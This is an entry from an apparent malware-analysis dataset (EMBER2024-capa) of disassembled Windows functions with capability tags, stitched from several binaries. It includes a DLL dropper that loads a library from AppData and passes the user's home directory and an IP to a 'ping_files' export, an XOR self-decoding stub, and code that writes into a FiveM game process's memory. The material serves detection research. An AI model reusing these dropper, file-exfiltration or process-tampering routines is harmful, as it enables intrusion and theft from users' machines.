joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140195ca0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140195cb0]
mov dword [rax], 1
mov rax, qword [0x140195cc0]
mov dword [rax], 1
mov rax, qword [0x140195c90]
mov dword [rax], 1
mov rax, qword [0x140195b20]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x140195c80]
mov dword [0x14019900c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140195c40]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140195c20]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140195a70]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x1400016a4
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push rbp
sub rsp, 0x170
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x100], rcx
mov dword [rbp + 0x108], edx
mov qword [rbp + 0x110], r8
lea rcx, str.USERNAME
call sym.getenv
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, qword [rbp + 0x110]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.C:Users_sAppDataLocal_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0xffffffffffffffff
jne 0x14000175a
lea rcx, str.Erreur_lors_de_louverture_du_fichier_pour_lcriture_de_la_DLL
call sym.kQsLUScjjP
jmp 0x1400017e9
lea rcx, [rbp - 0x34]
mov edx, dword [rbp + 0x108]
mov rax, qword [rbp + 0xe8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, edx
mov rdx, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
je 0x14000179c
mov eax, dword [rbp - 0x34]
cmp dword [rbp + 0x108], eax
je 0x1400017a8
lea rcx, str.Erreur_lors_de_lcriture_des_donnes_de_la_DLL
call sym.kQsLUScjjP
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xe0], rax
cmp qword [rbp + 0xe0], 0
jne 0x1400017e9
lea rcx, str.Erreur_lors_du_chargement_de_la_DLL
call sym.kQsLUScjjP
nop
add rsp, 0x170
pop rbp
ret
Function at 0x14000181f
Capabilities:
Query environment variable

Disassembly:
push rbp
sub rsp, 0x340
lea rbp, [rsp + 0x80]
lea rcx, str.Lancement_de_la_fonction_FNAMPTRGkZ_n
call sym.kQsLUScjjP
mov rax, qword [0x140195b00]
mov eax, dword [rax]
lea r8, str.poc_ping_dll_header.dll
mov edx, eax
mov rcx, qword [0x140195af0]
call sym.rDwIDUniQi
lea rcx, str.USERNAME
call sym.getenv
mov rdx, rax
lea rax, [rbp + 0x1a0]
mov r9, rdx
lea r8, str.C:Users_sAppDataLocalFNAMPTRGkZ.dll
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0x1a0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.Chargement_de_la_DLL_:__s
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.kQsLUScjjP
lea rax, [rbp + 0x1a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x2b8], rax
cmp qword [rbp + 0x2b8], 0
je 0x14000194e
lea rcx, str.Chargement_de_la_fonction_ping_ip_n
call sym.kQsLUScjjP
mov rax, qword [rbp + 0x2b8]
lea rdx, str.ping_ip
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2b0], rax
cmp qword [rbp + 0x2b0], 0
je 0x14000192d
lea rcx, str.Appel_de_la_fonction_ping_ip_avec_succs_n
call sym.kQsLUScjjP
mov rax, qword [rbp + 0x2b0]
lea rcx, str.172.27.229.14
call rax
jmp 0x140001939
lea rcx, str.Erreur_lors_de_lappel_de_la_fonction_ping_ip_:_fonction_non_trouve
call sym.kQsLUScjjP
mov rax, qword [rbp + 0x2b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x14000197c
lea rdx, [rbp + 0x1a0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.Erreur_lors_du_chargement_de_la_DLL_:__s
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.kQsLUScjjP
nop
add rsp, 0x340
pop rbp
ret
Function at 0x140001986
Capabilities:
Query environment variable

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
lea rcx, str.Lancement_de_la_fonction_KYudrkWnYD_n
call sym.kQsLUScjjP
mov rax, qword [0x140195ae0]
mov eax, dword [rax]
lea r8, str.poc_ex_ping_dll_header.dll
mov edx, eax
mov rcx, qword [str._D_v_]
call sym.rDwIDUniQi
lea rcx, str.USERNAME
call sym.getenv
mov rdx, rax
lea rax, [rbp + 0x2b0]
mov r9, rdx
lea r8, str.C:Users_sAppDataLocalKYudrkWnYD.dll
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0x2b0]
lea rax, [rbp + 0xb0]
mov r9, rdx
lea r8, str.Chargement_de_la_DLL_:__s
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.kQsLUScjjP
lea rax, [rbp + 0x2b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x3c8], rax
cmp qword [rbp + 0x3c8], 0
je 0x140001b1d
lea rcx, str.Chargement_de_la_fonction_ping_files_n
call sym.kQsLUScjjP
mov rax, qword [rbp + 0x3c8]
lea rdx, str.ping_files
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3c0], rax
cmp qword [rbp + 0x3c0], 0
je 0x140001b08
lea rcx, str.USERNAME
call sym.getenv
mov rdx, rax
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.C:Users_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov r8, qword [rbp + 0x3c0]
mov rdx, rax
lea rcx, str.172.27.229.14
call r8
mov dword [rbp + 0x3bc], eax
cmp dword [rbp + 0x3bc], 0
je 0x140001b08
mov edx, dword [rbp + 0x3bc]
lea rax, [rbp + 0xb0]
mov r9d, edx
lea r8, str.Erreur_dans_la_fonction_ping_files_:__d
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.kQsLUScjjP
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140001b51
lea rdx, [rbp + 0x2b0]
lea rax, [rbp + 0xb0]
mov r9, rdx
lea r8, str.Erreur_lors_du_chargement_de_la_DLL_:__s
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.kQsLUScjjP
nop
add rsp, 0x450
pop rbp
ret

Function at 0x140001e70
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001ee0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1401990a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140002090
mov rax, qword [0x1401990a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001f2c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001fb7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001f10
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x1400020ed
mov rax, qword [0x1401990a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1401990a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400020d2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001fb0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002040
add dword [0x1401990a4], 1
cmp ebx, 8
jae 0x140001fe8
test bl, 4
jne 0x1400020a0
test ebx, ebx
je 0x140001fd9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x1400020c0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001fd9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x14000201a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1401990a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001fb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x140001f37
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001fd9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001fd9
mov rax, qword [0x1401990a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x140002600
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140199100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401990e0]
test rbx, rbx
je 0x140002654
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000264b
test r12, r12
je 0x14000264b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002630
lea rcx, [0x140199100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002880
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x140002890
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x1400028a0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1400028e5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400028dc
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x1400028e7
add rax, 0x28
cmp rax, r9
jne 0x1400028c8
xor eax, eax
ret

Function at 0x140002990
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140195b20]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002a09
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002a09
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002a06
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1400029fd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002a09
add r8, 0x28
cmp r8, r9
jne 0x1400029e8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x140002af0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140195b20]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x140002b5f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002b5f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x140002b5d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002b54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002b68
add rax, 0x28
cmp rax, r9
jne 0x140002b40
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x140002b80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x140195b20]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x140002bf8
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002bf8
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002bf8
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002bf8
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x140002bec
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002c00
add rdx, 0x28
cmp rdx, r10
jne 0x140002bd8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x140002c10
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x140002c1e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002bf5
test r8d, r8d
jg 0x140002c08
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret

Function at 0x1429bb7f0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1429bb7fa
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1429bb823
pop rbp
sub rbp, 0x33
sub rbp, 0x29bb7f0
sub rsp, 0x20
jmp 0x1429bb842
mov rax, 0x29bb7f0
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffff9cb25ae5
xor byte [rax], dl
inc rax
dec rcx
jne 0x1429bb861
jmp 0x1429bb878
lodsd eax, dword [rsi]
insb byte [rdi], dx
or al, 0x6e
insb byte [rdi], dx
fxam
in eax, 0xe5
lodsd eax, dword [rsi]
and al, 0xed
in al, 0xe5
in eax, 0xad
in al, 0xc
lodsd eax, dword [rsi]
and ah, byte [0x128819e78]
lodsd eax, dword [rsi]
and ah, byte [rdi]
int 0xe5
in eax, 0xe5
lodsd eax, dword [rsi]
adc al, byte [rdi]
lodsd eax, dword [rsi]
in al, 0x24
outsb dx, byte [rsi]
jmp 0xf0819e8b
Function at 0x140001660
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400016e7
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400016de
nop
lea rdx, str.FiveM_b2699_GTAProcess.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400016da
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400016b0
jmp 0x1400016de
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140051300
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
Function at 0x140001980
Capabilities:
Manipulate console buffer

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor eax, eax
mov ecx, 0xfffffff5
mov dword [rsp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
je 0x140001a54
movsx eax, word [rsp + 0x38]
mov ecx, 0xfffffff5
mov qword [rsp + 0x70], rsi
mov esi, 0x20
mov qword [rsp + 0x60], rdi
movsx edi, word [rsp + 0x3a]
imul edi, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r9d, dword [rsp + 0x30]
mov r8d, edi
mov rcx, rax
movzx edx, si
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
mov rsi, qword [rsp + 0x70]
test eax, eax
je 0x140001a4f
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r9d, dword [rsp + 0x30]
mov r8d, edi
movzx edx, word [rsp + 0x40]
mov rcx, rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
test eax, eax
je 0x140001a4f
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, dword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140051300
add rsp, 0x68
ret
Function at 0x140002af0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x478], rax
mov rbp, rdx
mov rsi, rcx
call fcn.140001660
mov edx, eax
mov ecx, 0x18
mov edi, eax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002b8f
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x438
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x140002b86
nop
lea rdx, str.FiveM_b2699_GTAProcess.exe
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140002b7a
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x140002b50
jmp 0x140002b86
mov rax, qword [rsp + 0x48]
mov qword [0x140078560], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rsp + 0x470]
mov qword [rsp + 0x470], 0
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
mov r8, rbp
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002be0
cmp qword [rsp + 0x470], 4
jne 0x140002be0
mov al, 1
jmp 0x140002be2
xor al, al
mov rcx, qword [rsp + 0x478]
xor rcx, rsp
call fcn.140051300
mov rbx, qword [rsp + 0x4b0]
add rsp, 0x480
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000be4c
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
test eax, eax
jns 0x14000be98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000be74
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x14000beb8
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000bf03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000bed8
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x14000bf1c
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rsi
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000bf66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000bf3c
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x14000bf80
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
movsxd rbx, eax
test eax, eax
jns 0x14000bfcc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000bfa8
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
Function at 0x14000bfec
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rdi, qword [rcx + 0x20]
mov rsi, qword [rcx + 0x18]
mov rbp, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov ecx, dword [r15]
mov r9, rsi
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rbp
mov rdx, r14
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000c042
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000c017
mov rbp, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x140019148
Capabilities:
Connect socket
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rsi, rdx
mov dword [rax + 8], 1
mov rbx, r8
mov rdi, rcx
mov rcx, rsi
lea r8, [rax + 8]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rbx + 0x10]
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x1400191d9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x1400191b2
mov rax, qword [rdi + 8]
mov dword [rax], 2
xor al, al
jmp 0x14001929d
mov r8, qword [rdi + 0x18]
mov rcx, rsi
mov rdx, qword [rdi + 0x10]
mov r8, qword [r8]
mov rdx, qword [rdx]
call fcn.14002d684
mov ecx, eax
mov rax, qword [rdi + 8]
mov dword [rax], ecx
mov rax, qword [rdi + 8]
cmp dword [rax], 0
jne 0x1400191ab
and dword [rsp + 0x40], 0
lea r8, [rsp + 0x40]
mov edx, 0x8004667e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rax, qword [rdi + 0x28]
lea r9, [rsp + 0x40]
movabs r14, 0x20c49ba5e353f7cf
mov dword [rsp + 0x20], 4
mov ebx, 0xffff
mov r8d, 0x1006
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, qword [rdi + 0x20]
imul ecx, dword [rax], 0x3e8
add edx, ecx
mov rcx, rsi
mov dword [rsp + 0x40], edx
mov edx, ebx
